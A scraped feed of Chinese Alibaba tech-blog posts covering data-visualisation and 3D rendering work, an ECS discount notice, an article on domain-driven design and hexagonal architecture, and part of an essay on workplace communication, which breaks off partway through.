    智能可视化是一个跨界领域,诸如自动洞察,可视化设计,可视化配置推荐都是智能可视化的方向。Gartner 预测,未来数据分析是增强分析时代。普通用户发现数据洞察的成本很高,用户需要尝试找到有规律的一些指标,通过可视化的方式来验证甚至是发现规律,这种反复试错的成本非常高。因此,自动洞察可以说是对用户在基本业务洞察之外的补充。

    自动洞察能够在用户提供的数据集上,自动进行特征的分析,数据清洗,根据梳理的 insight 类型进行自动的匹配,找到隐藏在数据集中的知识,提供给用户。这条链路的不断优化,最终手工分析的时代也会被自动洞察所替代,只有一个按键就可以让用户找到最有效的信息。

    近几年,产学研一体趋势显著,微软的 Power BI 在这个领域颇有建树,推出了 Quick Insight 就是与 MSRA 合作,是自动洞察方向的开荒者之一。今年,团队在对内侧的 BI 工具上已经落地了自动洞察功能,提供给小二更智能的数据决策工具而为之努力。

    在未来布局上,数据世界真实的描绘不应该是静态的,它是真实在变化的,我们在变化中需要呈现一个变化的规律,这是现代数据分析上比较缺失的。未来,在数据故事和自动洞察上发力。将数据可视化能力从静态交互分析,发展到动态交互分析上。进一步,挖掘数据中更多有效信息,辅助人作决策。

    数字艺术

    如果说 BI 和数据可视化是帮你从数据中发现信息的工具,数字艺术则是展示和传播你的数据故事的媒介。无论是一个大屏,还是一个可交互装置、Web 页面、富媒体,作为数据可视化的延伸,我们始终在探索更新颖的形式,更前瞻的技术,来让你的故事拥有怦然心动的力量,在从纷繁的信息中脱颖而出,无须多言,便能打动听众。

    团队与 UED 紧密合作,负责了集团多年的双十一和九号馆的大屏和互动展区设计开发,支持了集团 PR、GR 部门众多的高级接待和对外访问活动,同时以技术支持和平台支持的形式,协助集团各个BU团队开发数据可视化、BI、大屏、展示型内容和传播内容。

    image.png

    在这个过程中,积累了一套从数据处理算法、到渲染引擎、可视化框架,以及搭建平台的解决方案。

    异构渲染

    为了满足不同场景和内容的展示需求,充分发挥不同渲染平台的优势,我们在渲染框架中原生支持了跨平台渲染。

    通过一套统一的数据源/数据算法,统一的地理空间规范,和统一的相机状态定义,来保证不同渲染架构输出的渲染结果空间对齐,然后通过实时推流和 WebView 对不同渲染架构的内容进行融合,实现多种平台渲染内容的合并输出。

    通过异构渲染,我们得以在一个场景中,融合来自 Polaris 的实时数据可视化能力、UE4 的细节制作和渲染能力、G2 丰富的可视化图表、高德庞大的地图数据,各取所长,融合为一个可交互的实时渲染内容。

    image.png

    Web3D 渲染引擎

    无论技术流行趋势如何变化,Web 平台依然承载着我们和核心技术和产品形式。我们始终相信,Web 平台有着未被发掘的强大表现力。受限于设备性能和兼容性的妥协,大家已经习惯将 3D on Web 视为一种能用即可的“降级方案”,然而 Web 技术的应用领域已经发生了巨大的变化,基础设施和硬件设备也不断的更新换代,现代 Web3D 渲染引擎,不应该总向十年前的游戏引擎看齐。

    我们的渲染技术始终以 three.js 为根基,作为标杆级的 WebGL 引擎,three 无可匹及的强大社区支持着我们的快速发展,当我们试图摆脱 webgl 的限制时,选择保留了 three 所有的上层设计和场景定义,兼容多数 three 接口和社区插件的情况下,重写渲染层,实现了(当时)功能最完整的 WebGL2 引擎,显著提升性能效果,实现在浏览器中实时渲染上亿顶点的大型场景。同时引入了高效的 GPGPU,来实现更加复杂的粒子动画。

    image.png

    从 WebGL2 到未成行的 WebGPU ,限制 Web 3D 渲染能力的已经不再是图形 API,而是渲染流水线和图形算法,渲染管线不升级,图形 API 再怎么升级也不会带来质的变化。

    在 2019 年,我们作出了一个大胆的尝试,直接将桌面游戏引擎的高清渲染管线,实现在 WebGL2 之上,并在双十一项目中使用。

    image.png

    参照成熟游戏引擎的渲染管线设计,我们使用多种渲染路径来渲染场景的不同成分,对不能完整支持 Deferred Shading 的材质,或者需要兼容的现有入库组件,使用前置渲染或者不完整的延迟渲染,其中基础场景使用完整的Deferred Shading 管线。Deferred Shading 管线中,除了获得在 shading 阶段强大的性能控制,完整的 GBuffer 更是解锁了众多屏幕空间算法,让我们可以高效的进行 SSAO 和 SSR 等复杂计算,甚至能在笔记本上流畅运行。

    image.png

    高清渲染管线为 Web 端的渲染能力迈上了一个新的平台,使得众多新技术的引入成为可能,我们能从学术、游戏、影视领域的最新成果中汲取养分,而不用再受限于实时渲染技术发展初期的古老算法。这也将是唯一一个有能力发挥 未来 WebGPU 潜力的渲染管线。

    3D 地理系统

    3D 数据可视化的场景虽然复杂而零散,但是多数和地理数据强相关,为了提高开发效率和服用能力,我们在 three 的通用场景定义之上,设计了一个轻量级的地理信息系统 — Polaris。将视觉效果的开发和业务逻辑的开发,全部简化为 Layer 开发,符合 schema 的 Layer 可以自由叠加、组合、继承,然后交由 Polaris 渲染器渲染。同时积累了一套上百种 3D 组件的 Layer 组建库。

    image.png

    image.png

    在 Polaris 中,我们按照真实比例和地理位置构建世界,可以向 Google Earth 一样,在一个三维场景中绘制从星系到地球、国家、一直到某个城市的某个楼宇内部,通过一个长镜头,将所有的场景贯穿起来,形成一个连贯的数据故事,而非 PPT 一般的分离图表。

    image.png

    image.png

    算法服务

    一个 3D 空间的构建,是对大量原始地理数据的层层处理,处理的过程往往从高德的原始地理数据开始,经过过滤、简化、拔高,变为3维模型,然后通过算法进行细化、匹配,生成建筑细节,然后根据 DEM 生成地形和山脉,对于特写区域,需要通过人工制作高精模型,再通过算法对齐地理空间,如果是城市景观,还可以通过算法生成车水马龙、广告牌、霓虹灯等装饰内容。

    所有这些过程都涉及到庞大的数据输入和复杂的计算逻辑,我们已经在不同业务场景中生成过 30 多个城市和所有省份的场景数据,并且数据源和场景构建的需求在不停的更新着,手工管理将是一笔巨大的负担。因此我们构建了一个地理数据算法服务,来为 UE4 和 Web 端渲染平台提供等效的服务。

    image.png

    数据安全

    数据产品中有表现力丰富的数据可视化能力、有高效的数据解读能力,但背后也隐藏着各种各样的数据安全风险,这些数据可能涉及到交易数据,也可能是行业趋势数据,这些数据如果发生泄漏被不法分子利用极有可能对集团和客户造成严重的损失,所以数据产品的各个生产环节都需要具备安全防御方案。

    对于整个数据安全体系,从数据生产到数据查询的链路需要做数据脱敏和差分隐私,前端是数据产品向用户展示和交互的最后一环,也是整个生产链路中数据安全保障的最后一环。我们也需要配合全链路的数据安全建设,做到事前,事中和事后的保障。

    image.png

    数字水印

    数字水印是在事前环节,起到警示、震慑的作用,提醒产品的访问者产品中展现的数据属于秘密信息,不可传播;以及在事后环境,帮助案件追查,当访问者对页面进行截图和传播后,可以准确的定位到案件的当事人,协助案件侦破。传统的网页水印方案是在端上直接绘制水印信息覆盖在文档流上或作为背景图片,但只要是具备一点前端知识的人都可以通过浏览器的调试器对水印信息进行删除甚至是篡改,所以我们要确保水印的真实性和水印的稳固性。

    水印生产主要分两类。明文水印,它是指将可读的信息(用户姓名或其他警示信息)生成水印图片,主要目的是起到警示作用;加密水印,我们团队和安全专家一同共建的,将水印信息加密为不同形式的图片方案,比较有代表性的是结合了文件数字水印的理论:点阵水印、隐秘水印、浮雕水印,此类水印的特点是信息无法被篡改,主要用于案件追踪。

    image.png

    水印在生产环节进行了加密,由于无法解密,解决了水印的篡改问题。在水印部署过程中需要克服水印被删除的问题,我们针对常见的水印删除手段进行防御:

    1)网络干预,阻止页面获取水印资源(图片和 SDK),对图片二进制流和sdk资源下发均采用与业务代码进行混淆,确保水印部署和业务逻辑执行过程交叉执行,无法单独中断。

    2)环境及 DOM 干预,通过修改和删除 DOM,对浏览器的 DOM 和关键原生 API进行劫持验证,确保 DOM 的修改可被监听和复原,无法复原的情况将中断业务逻辑。

    3)融合部署:对于重要的数据信息,通过 canvas 或图片方式渲染替代原有的DOM渲染,此时数据信息和水印信息融合为一个原子节点,无法单独删除。

    4)信息差手段:每个数据产品的页面均混合部署多套水印方案,通过虚实结合(可见水印、不可见水印)的方式确保不法分子无法完全删除掉页面中的水印。

    除了以上攻防手段,我们还在进行一些新型水印生产及部署方向的研究,目的是从更本质的方面对水印进行加固同时降低水印对产品的视觉侵入,目前具备可行性的是边缘水印(将水印的生产和部署在客户端进行,强化水印和页面内容的融合)和血缘水印。

    数据监控

    监控在数据产品中不仅是生产安全的重要部分,同时也是数据安全的重要保障,通常的监控主要关注 JS 报错和 API 接口报错,但数据产品需要对数据逻辑进行监控,例如用户正在分析自己商业数据,突然实时数据显示利润剧烈下跌,这很容易造成用户的恐慌。

    image.png

    我们在完成了监控平台 Clue 的基础建设上同时也在做很多数据场景的垂直建设:

    **非法环境识别
    **
    因为有数据透出,总是有黑灰产不断生长。他们通过第三方插件爬取数据接口,对数据进行非法汇总和反推,这时就需要对用户使用产品的浏览器环境进行检查,为打击黑产提供法律依据。针对这种场景我们会对部分原生 API 进行数字指纹加持,通过特征匹配,定位非法插件。

    诊断报警

    监控平台中报警的及时性和准确性是重中之重。对于数据展现来说,某些数据趋势跌 0 对于大客户和来说一定是出现了问题,但对一些小众客户或行业来说,部分指标的跌 0 可能是正常表现。因此,我们需要抽取指标信息、行业信息、大促信息等在内的多种特征对报警模型优化,通过报警信息的反馈机制不断的对报警模型持续优化,通过模型预测的方式对报警阈值进行动态调整,促使报警逐渐趋于准确。

    写在最后

    未来,数据与智能占据了风口。依靠着云上计算能力,提供强大的渲染与数据分析能力。在流程研发,分析洞察,科学决策等方面都是体验技术发挥至关重要力量之处。倚靠业界和学界前沿方向探索,数据体验技术围绕数据应用的全生命周期进行建设和打造,数据的未来是星辰大海,望有志之士一同前来创造未来!

    你99%的储存实力,只差这1%的简历投递——数据技术及产品部【数据平台技术与设计-体验技术团队】招人进行中,期待与你一起用创意与代码为世界做出些许改变。邮箱 arcthur.cheny@alibaba-inc.com

    ]]>
    【其他】8月31日ECS云服务器优惠调整通知 Fri, 02 May 2025 09:39:03 +0800

    尊敬的阿里云用户:

    您好阿里云中国站(www.aliyun.com)ECS部分产品将于2020年8月31日开始进行优惠活动折扣调整,明细如下:

    1.第四代企业级实例(包含计算网络增强型,通用网络增强型,内存网络增强型)将于2020年8月31日23:59结束原专有网络运营推广优惠活动,自2020年9月1日0:00起专有网络下此类产品优惠活动调整为购买或续费享受包1年8.5折,2年7折,3年5.5折,4年4.5折,5年3.8折。

    2.第五代企业级实例(包含密集计算型,计算型,通用型,内存型)将于2020年9月30日23:59结束原专有网络运营推广优惠活动,自2020年10月1日0:00起专有网络下此类产品优惠活动调整为购买或续费享受包1年8.5折,2年7折,3年5.5折,4年4.5折,5年3.8折。

    调整的地域包含除中东东部1外的所有中国站地域。请您提前规划好资源使用需求,如有需要,可提前续费或更换更新的6代或6代增强型实例,以获得更好的业务性能。

    (调整后折扣详情请参看如下表格)

    ]]>
    领域驱动设计详解:是什么、为什么、怎么做? Fri, 02 May 2025 09:39:03 +0800 image.png

    一 什么是领域驱动设计

    领域驱动设计的概念是2004年Evic Evans在他的著作《Domain-Driven Design : Tackling Complexity in the Heart of Software》(中文译名:领域驱动设计:软件核心复杂性应对之道)中提出的,从领域驱动设计提出距今已经有15年的时间,为什么最近才开始在中国的互联网圈大行其道?似乎一夜之间大家都在谈论,那么领域驱动设计到底帮我们解决了什么问题?带着这些疑问,一起来看下阿里巴巴文娱是如何实践领域驱动设计的。

    二 领域驱动设计大行其道的必然原因

    软件系统从来都不是凭空而来,而是以软件的形式解决特定的问题。当我们面临现实世界的复杂问题时,如何以软件的形式落地?领域驱动设计是一套方法论,指导我们将复杂问题进行拆分、拆分出各个子系统间的关联以及是如何运转的,帮助我们解决大型的复杂系统在落地中遇到的问题。

    Evic Evans在著作中将软件系统的设计分为2个部分:战略设计和战术设计。在战略设计层面提出了域、子域、限界上下文等重要概念;在战术设计层面提出了实体、值对象、领域服务、领域事件、聚合、工厂、资源库等重要概念。如图1所示:

    image.png

    战略设计部分指导我们如何拆分一个复杂的系统,战术部分指导我们对于拆分出来的单个子系统如何进行落地,在落地过程中应该遵循哪些原则。

    以大家熟知的电子商务系统举例,早期的电商系统因为业务相对简单,用户量和团队规模也较小,一个单体应用就可以搞定,随着容量上升可以将单体应用进行横向扩容,比如早期的淘宝就是这样做的。拆分过程中我们可以把电商系统这个单体应用拆分成订单子系统、库存子系统、物流子系统、搜索推荐子系统等等,如图2所示:

    image.png

    领域驱动设计在战略层面上的域、子域、限界上下文的划分思想和微服务的划分不谋而合。域对应一个问题空间,也就是上例中的电商系统;子域是把域这个大的问题空间拆分成若干个小的更容易解决的问题空间,也就是单体应用向微服务演进过程中划分出来的各个子系统;限界上下文是解决方案空间,每个子域对应一个或多个解决方案空间。微服务的划分是也是将一个大的问题拆分成若干个小的问题,每一个小的问题用一个或多个微服务来解决。

    对于大多数开发同学来说都没有机会接触系统的划分,这些工作一般是公司的技术领导层与架构师来做的,普通的开发同学日常工作中接触到的只是某一个具体微服务或微服务中某一个模块的落地,那是不是说领域驱动设计对于普通开发同学来说就没有用了?当然不是这样,领域驱动设计中的战术设计部分就是指导我们如何落地一个系统才可以使系统具备高可扩展性、高可读性。

    所有的系统最终都要以代码的形式落地,而落地的工作都是由普通的开发同学来做的,系统是否具备高可扩展性、高可读性直接影响了整个团队的效率。

    三 传统分层架构存在的问题

    对于大多数开发同学来说,大部分时间都花在落地一个个微服务上,下面我们来看阿里文娱是如何结合领域驱动设计的思想将微服务进行战术落地的。

    目前笔者接触过的微服务大多数都是分层架构并且在Service层与Manager层实现具体的业务逻辑,使用DO、DTO、BO、VO等进行数据传输,数据和行为基本完全隔离。这种分层结构图3是《Java开发手册》中的标准分层结构。

    该规范中定义了各层的职责,其中最重要的两层Service层和Manager层是这样规范的(以下两层解释摘抄自《Java 开发手册》):

    Service层

    相对具体的业务逻辑服务层。

    Manager层

    通用业务处理层,它有如下特征:

    • 对第三方平台封装的层,预处理返回结果及转化异常信息。
    • 对Service层通用能力的下沉,如缓存方案、中间件通用处理。
    • 与DAO层交互,对多个DAO的组合复用。

    image.png

    阿里文娱早期的项目分层也基本都采用这种架构形式。上面的分层并没有问题,但是这种分层架构采用的是包的形式进行的层与层的隔离,需要每一位开发同学理解并且自觉遵守以上规范,但是在实际工作中我们发现很多同学对Service层和Manager层的区别并不是特别的清楚,即使清楚的同学大部分也并没有完全遵守手册中的规范,这种现象导致Manager层除了沉底一些通用能力以外和Service层并没有什么本质区别。

    在实际的业务代码中Service层和Manager层都充斥了大量的第三方依赖,对系统的稳定性有很大的影响。每依赖一个第三方服务都要各种异常问题,这些异常处理的代码往往会和业务代码混在一起,当这种代码多了以后会使代码的可读性非常差。

    阿里文娱业务的复杂度提升很快,业务迭代速度也很快, Service层和Manager层代码量迅速膨胀,业务逻辑变得越来越复杂。在这种业务场景下,大文娱引入了领域驱动设计并设计了一套完整的领域驱动模型评估与演进的解决方案来辅助开发同学将领域驱动设计的思想真正的落地。

    四 文娱领域驱动设计实践

    领域驱动设计的关键在于识别业务的模型,而模型又是会随着业务的发展而演进的,对于新的业务来说能效平台提供了业务模型分析的功能,开发同学可以在能效平台设计并搭建自己的领域模型,搭建出来后能效平台可以评估领域模型设计的是否合理,如果模型设计合理则可以基于以上设计的模型符合领域模型规范的代码。对于已有应用,能效平台设计了一套领域注解并以SDK的形式提供出去:

    • 第一步:开发同学按照领域设计的原则对业务代码进行分析并打上注解。
    • 第二步:能效平台可自动扫描该项目并收集该项目中的领域模型。
    • 第三步:模型收集后,开发同学可以在能效平台改进业务模型并重新按照领域模型的规范生成代码。

    完整流程如下图所示:

    image.png

    1 模型采集

    对于已有的准备重构的应用,我们设计了一套领域模型的注解,开发同学可以将注解加到对应的类、属性、方法上。当系统是按数据模型落地而不是按领域模型的方式落地时,可以先找到系统的数据模型,然后在能效平台对数据模型进行组织生成领域模型。

    image.png

    2 模型搭建

    对于新应用或者已经进行完模型采集的应用,开发同学可以在能效平台进行模型的搭建和修改,如图6所示。

    image.png

    3 健康度评估

    对于已经搭建完的模型能效平台,根据领域驱动设计的规范创建了一套完整的校验规则,模型搭建完成在生成脚手架之前会根据校验规则进行打分,当打分通过时可以将模型生成脚手架。

    image.png

    4 脚手架生成

    当模型搭建完毕并且校验通过后可以将模型生成脚手架,其代码结构是按照六边形架构的标准生成的,六边形架构也成为端口与适配器架构,该架构的思想是将内部核心的领域逻辑与外界依赖进行隔离,这里的依赖是指所有对其他微服务的依赖、http的依赖、数据库依赖、缓存依赖、消息中间件依赖等等,所有的这些依赖都通过适配器进行转换成应用可理解可识别的最小化信息。

    在实际的项目中,每种依赖都要考虑各种异常情况并进行处理,而这些处理实际上并不数据领域逻辑,却耦合到了业务代码里,当这种依赖多了对系统的稳定性会产生很大的影响,传统的分层架构虽然也会让我们将自身的领域逻辑和依赖进行分离,在阿里巴巴规范手册中提到所有的依赖都应该放到Manager层,但是这种规范是非常容易被打破的。六边形架构从应用分层上让我们更容易去遵守这样的规范。

    image.png

    根据六边形架构的指导思想,在实际的应用分层中一般划分为四层,分别是:

    • 用户接口层:负责用户展现相关的逻辑。
    • 应用层:负责对一个用例进行流程编排(将接口用例分成若干个步骤,但是不负责每步的具体实施)。
    • 领域层:负责实现核心的领域逻辑即业务逻辑(负责实现具体的业务逻辑)。
    • 基础设施层:所有依赖的具体实现。

    但是从应用架构的角度看,层级组织形式可以分为两种:

    传统分层架构

    如图9左侧,这种分层架构是Evic Evans在《Domain-Driven Design : Tackling Complexity in the Heart of Software》中提出的,其中用户接口层、应用层、领域层可直接依赖基础设施层,与图3的传统架构并无本质区别,因为所有层都直接依赖了基础设施层。这种方式需要强制开发同学将所有的依赖进行下沉,随着时间的推移这种规范非常容易被打破。

    image.png

    依赖倒置的分层架构

    如图9右侧,这种分层架构是依赖倒置的分层架构,特点是:

    • 基础设计层可直接依赖其他三层,反之则不行。
    • 用户接口层、应用层、领域层如果要使用基础设施层中的能力,只能通过IOC的方式进行依赖注入,这也遵从了面向对象编程中的依赖倒置原则。

    当开发同学要在以上三层中直接引用第三方依赖时,是找不到具体的类信息的,也就是不能import。同时这种方式对单元测试的规范也可以起到很大的作用,当我们编写单元测试时可以为领域层注入一个测试运行时的依赖,这样应用运行单元测试可以不依赖下游服务,在代码层面上也更加规范。

    五 总结

    经典的三层或多层架构虽然是目前最普遍的架构,但是在隔离方面做得并不够好。在业务架构选型时要结合自身业务特点,而不能千篇一律的选择某一种业务架构,合适的业务架构可以延长项目的生命周期,降低项目的重构频率,最终达到降低人力成本的目的。

    ]]>
    阿里产品专家:高情商的技术人,如何做沟通? Fri, 02 May 2025 09:39:03 +0800 1.png

    作者 | 磊之

    不愿沟通是固执,不会沟通是傻瓜,不敢沟通是奴隶。——德拉蒙德

    工作中,你是否经常看到别人在会上谈笑风生、纵横捭阖,但自己却唯唯诺诺,不敢表达观点?即便鼓起勇气发言却不被重视,经常被人打断?生活中,你提出个很好的家庭规划,却没人支持你?规劝自己的亲友却被误会,最后以吵架收场?

    当你的朋友指出你的问题可能在“沟通”能力上时,你却轻蔑一笑:“沟通这么简单事情,我会不懂?”

    要知道许多大师花了一辈子研究“沟通”,最终觉得自己只能驾驭一些类型的沟通。

    互联网时代的信息媒介很发达,但非常碎片化,你可能听过很多道理,但未必有意识地组织过,人脑对于没有体系化的观点,总会选择性遗忘。

    所以,关于沟通,你可能需要重新思考。

    2.png

    真理的世界如同泥泽地一般充满了陷阱。树立一个清晰的“概念”好比在这片泥泽地里打桩,树立一个“理论”好比在这些木桩上架桥。

    PART 1:沟通的定义?

    3.png

    街头的大妈们家长里短地唠嗑,能不能叫“沟通”?大学课堂上教授口若悬河,滔滔不绝地讲课,能不能叫沟通?

    沟通是“有目的的多向信息交流”。大妈聊天漫无目的,最多是“多向信息交流”,不是“沟通”;教授讲解虽有目的,但如果没有与学生互动,则也不算是“沟通”。

    “沟通的方式一定是谈话么”?不是,能交流信息即可,不拘泥于形式。沟通完全可以借助文字、图片、音乐......比如写信、发邮件,甚至眼神交流也算,宋词中“执手相看泪眼,竟无语凝噎”,这里的“执手相看泪眼”,就是“为了表达感情的双向信息交流”,也是一种沟通。

    之所以一定要死板地界定沟通的意义,是因为这太重要了。在沟通过程中要时刻有意识地提醒自己:

    • 沟通是有目的的:你的初衷是什么?你现在的行为和言语有没有妨碍你完成你的初衷?
    • 沟通是多向信息交流:你有让对方get到你的真实想法么?你get到对方的真实想法了么?

    一次成功的沟通,有什么样的特点呢?

    4.png

    从情绪体验和信息匹配的维度上,可以把沟通划分成四个区域: 

    • 安慰区:安慰区的情绪体验好,但信息一致度不高。这可能是沟通的启动状态,或者沟通表面和谐,但大家互相打哈哈,没在深层次上达成共识;
    • 目标区:这是期望达到的状态;
    • 破坏区:非常糟糕的情形,没达成任何共识,且场面十分不和谐:争吵激烈,或者干脆沉默、冷暴力;
    • 风险区:共识达成,但人际关系变差的情形。虽然达成了共识但最终因团队无法齐心协作而难以执行。

    看看自己的沟通在哪个区域分布最多,就可以给自己的沟通能力打分了。

    PART 2:沟通的作用

    5.png

    人类是社会动物,人与人、人与群体通过“沟通”传递信息和情感。沟通的作用有如下几点:

    • 获取或传递信息和知识
    • 促成一致观点或协议
    • 情感管理

    这种分类并不符合“mece”法则,而是互有交叉的,也即一次沟通的作用可能有多条。

    Eg:你跟一个女孩一起喝咖啡,碰巧被你女朋友知道了。你准备找她沟通,修复关系。在这次沟通中,你要获取信息(她看到了什么?她现在什么想法?),你也要向女友传递信息(女孩是谁?为什么与你约会?),之后你要情感管理(表达你对女友的真心,并期望得到他的谅解),最后你们也可能达成一些“共同观点和协议”(共同观点:与女孩喝咖啡是为了聊工作,没有劈腿。或者共同协议:以后跟其他女生单独约会要报备......)。

    PART 3:沟通的方法

    6.png

    这里提供两个方法论,第一个“周哈里窗”模型。第二个“螺旋推进”模型。

    •  “周哈里窗”模型侧重强调信息的共享的重要性,并用图示的方法清晰的表达这种倾向;
    • “螺旋推进”模型侧重沟通的流程,是一个完备的沟通框架。

    7.png

    “周哈里窗”根据信息是否被“我”知道,以及是否被“对方”知道,分成四个区域:

    • 公众区:我知道且对方也知道的信息

    比如上述例子中信息“我与女孩喝咖啡”,这个信息我知道,我女朋友也知道,属于“公众区”。

    • 私区:我知道的但对方不知道的信息

    上述例子中信息“女孩是我同事,我正与她交接工作”,则可看成是隐私区的信息。

    • 盲点区:我不知道但对方知道的信息

    上述例子中假如“女友看到了非常生气,联想到我这个星期微信聊天对她有点冷淡,非常不开心”,那么这个信息女友知道,我不知道,属于“盲点区”的信息。

    • 黑洞区:我跟对方都不知道的信息

    假如“喝咖啡的女孩一直暗恋我”。这个信息我与女朋友都不知道,则属于“黑洞区”。 ok,我们界定清楚了基本概念,那么这个“周哈里窗”到底有啥用呢?

    周哈里窗模型认为沟通的关键是要“拓展公众区的信息”。比如,事情发生了,男生一定要把隐私区的信息“女孩是我同事,我正与她交接工作”向女友传达清楚,并使她相信,而女生也要把盲点区的信息“看到了非常生气,联想到我这个星期微信聊天对她有点冷淡,非常不开心”这个信息传递给我,这样我们才可能消除误会。说来简单,但之后的情节可能是这样的: 

    1. 我没解释清这个女孩只是与我交接工作,女友大发雷霆......
    2. 女友没有告诉她生气还因为“这个星期微信聊天我对她有点冷淡”,那么我即便解释清楚喝咖啡的事情也是徒劳的......

    哎,坑好多。光靠这个窗还不行啊。因为周哈里窗只告诉你要做到什么,但没告诉你具体怎么做到啊。 一个可以指导我们沟通流程的框架——“螺旋推进”模型,是时候出场了。

    8.png

    是不是有点疑惑?

    • “安全氛围”是什么,咱大老爷们还提“安全”,丢不丢人?
    • “监控器”指的难道是要我装个摄像探头?
    • “共识线”、“情感线”,是两根什么“线”?

     “安全氛围”,指的是要让整个沟通过程中你与对方都拥有“安全感”,这是沟通的前提条件。为此你要表现出对对方足够的尊重,并让对方觉得你是一个值得信任的人,当你开始沟通时,你会有意识提醒自己注意氛围,但一旦聊到正题部分,你就很难时刻保持对“安全氛围”的感知和把控。

    比如,因为你一个持续 0.5 秒的“不屑的眼神”,对方瞬间感到:“你刚才表现出来对我的尊重都是装的,你内心看不起我。”他很可能失去了“安全感”,进入“戒备状态”......

    所以,“时刻保持对你们沟通的监控”非常重要。怎么形成这种意识呢?这里就要说到神奇的“监控器”了。

    9.png

    “监控器”不是要你真装一个摄像头,这么说完全是为了帮助理解。试着想象一下,如果有一个非常牛逼的监控器在全程监控你们的沟通,你们的沟通遇到问题进行不下去时,你可以随时暂停沟通,通过监控器看到从开始沟通到当下你与对方沟通的所有情形(包括语言、表情和动作),相信你一定会有新的思路:

    • 当你觉得对方冥顽不灵而感到十分愤怒,且马上要发作的时候,监控器“BBBB”发出声响,从监控器中你看到一个气急败坏,马上要爆发的自己,你突然意识到:“沟通是有目的的,场面一旦失控,就 game over了”。
    • 当对方已经多次回避你的问题,顾左右而言他时,监控器继续“BBBB”发出声响,从监控器中你看到对方“眼神闪烁,目光游离,欲言又止的情形”时,你意识到刚才才讲的沟通要“多向信息交流”,他显然没敞开心扉交流啊,我应该先想办法让他放下戒备,说出自己的真实想法,才能推动成功的小船驶向前方啊。

    当然,监控器是一个只存在你脑海里的假想物,它给了你一个上帝视角,让你客观、全局地审视“你们的这次沟通”,沟通问题的端倪出现时,你能第一时间发现,而不是等到“场面失控”“对方拒绝沟通”的情况发生时才意识到。 “共识线”“情感线”是存在于沟通过程中的两条推进线路,成功的沟通必然让这两条线路共存,无论是“共识线”还是“情感线”发生问题时,都要用“螺旋推进”的方式,解决问题,而不是二愣子一样拼命往前冲。

    基本概念理清楚了,那么“螺旋推进”模型具体步骤是什么呢?

    10.png

    我们解读一下,“螺旋推进”共有5个步骤:构建安全氛围、构建共同目标、分析当前问题、交流解决方案、最后协议。

    1. 构建安全氛围

    如前文所言,安全氛围是沟通的前提,沟通前先要确保双方心平气和,愿意敞开心扉。如果你有问题在先,对方很可能处于消极对抗的状态,此时不要着急跟对方解释,也不要埋怨对方,而是先让 ta 相信:你很在意 ta 的想法,这次沟通你是带着十分的诚意来的,不会敷衍塞责。待 ta 心绪平静下来时,再往下推进。

    2. 构建共同目标

    这时要让 ta 觉得“你们有共同的目标,沟通成功对双方都有利”。以下列举了一些雷区:

    雷区 1:越过第二步,直接进入第三步分析问题,这会让对方对你的动机产生怀疑,分析问题时,他就会有所保留,并在过程中不断试探你的真实动机。如果从“周哈里窗”模型的角度看,此时你无法获取“盲点区”的信息(对方知道而你不知道的信息),“公众区”无法更多地被拓展,沟通缺少质量。

    雷区 2:让 ta 觉得你是“只为达成自己的目的而来”,当遇到“利益冲突”的时候,这很致命。

    比方部门里讨论来年的战略规划,你与同事阿力在方案上争执不下,场面一度十分僵硬(部门采用谁的方案,对你俩之后在部门的权威影响很大)。这种情形下你该如何与 ta 沟通?ta 跟你一样都觉得自己方案很棒,应该被采纳。争执如果处理不好,不但影响你们之间的关系,而且之后不管部门选择了谁的方案,相信另一方肯定不会用心支持,甚至阳奉阴违,对部门来说,这是巨大损失。

    此时如果你能从你俩的共同目标“给客户带来最大价值,帮助团队获得成功”出发来沟通,问题会简化很多,此时你们站在了一条船上,这条船能够驶向目标对大家都有帮助。所以你可以试着这样说:

    “阿力啊,我觉得你跟我的方案都有一定道理,虽然我们现在还在争议哪个方案更好,但我们的目标都是更好地帮助部门,我们与其争执不下,不如先回去好好想想自己和对方的方案,获取更多的数据证明自己的方案能给客户带来更多价值,最后如果还是无法定夺,则让老大拍板。但无论老大最后选谁的方案,我们都坚定地帮助执行,你觉得这样处理如何?”相信这么说,他对你会有更多的认同。 为什么会画“构建共同目标”到“构建安全氛围”的回旋线呢?

    这是因为当比较激烈的冲突发生时,你在推进“构建共同目标”的过程中可能因措辞不当,或者对方没感受到你的诚意等等原因,导致对话失去了“安全氛围”,此时你要回退一步,该道歉道歉,该解释解释,重新“构建安全氛围”,而一味地向前蛮推,必败无疑。

    11.png

    3. 分析当前问题

    分析当前问题和交流解决方案是这次沟通的主要内容。在问题和问题的原因没有完全浮出水面时,不要着急讨论方案。原因有是:

    • 你们可能看到的是表面问题,没看到本质问题;
    • 你们可能看到了部分问题,没看到全部问题;
    • 问题的原因是多样的,与问题一样需要找到本质原因与全部原因。

    解决方案是针对问题来的,之前提到的例子中,刚开始你了解的问题只是“女朋友误会我跟其他女孩约会”,而不知道其他问题“女友觉得你这周微信回复非常冷淡”,所以即便你解释清楚了“女孩只是与你交接工作”后,女友还是闷闷不乐,于是你们开始争吵,直到场面失控.......

    我们再回顾一下沟通的定义,“有目的的多向信息交流”。信息交流是表达与倾听构成的,倾听的目的是为了理解信息。所以“不要光听ta说了什么,还要考虑ta怎么说的”(语气、语调、表情、动作这里传递的信息可能比语言本身更多),推测ta的真实想法,当你发现ta并未坦露心扉时(问题解释了,依然消极,精神不济)则需要引导ta表达,你可以这样说:“我刚刚观察到你的表情依然显得不太高兴,你觉得这件事情上我没有解释清楚还是因为其他事情不开心,可以聊聊么?”有时对方的状态非常消极,一次引导没有效果时,你可以换个方式继续,直到她愿意分享为止。

    12.png

    4. 交流解决方案

    交流解决方案时,无论谁提出解决方案,都要带着“这是我的建议,我希望得到你的反馈,以便设计出更符合我们共同目标的方案”的心态。永远不要陷入“二选一”陷阱里,要坚信“第三种方案”能让大家都满意,在第 4 步上你可能也有一些误区:

    • 误区一:只要对方满意就好,我可以委屈自己

    这是典型的老好人心态。“吃亏是福”并不总是对的,“助人为乐”也未必要牺牲自己。如用经济学“社会总福利”概念来理解:ta 快乐 1 分,你痛苦 1 分,你俩的总快乐还是 0 分,并没提升啊。你完全可以表达出自己的合理需求,比方在俩人的出行计划上想想有没有第三种方案,同时能符合你俩的需求,实在不行,也可以妥协,在一件事上你听 ta 的,在另一件事上,ta 听你的。

    反过来如果你一味委屈自己,你觉得你能在过程中一点也不表现你可能并不满意这次出行么?人是很难持续伪装自己情感的,到时 ta 看到你的不开心,ta 也会失去兴致,与其这样,为啥不一开始就定一个“让大家都开心的方案”呢?

    • 误区二:不愿/不敢表达观点

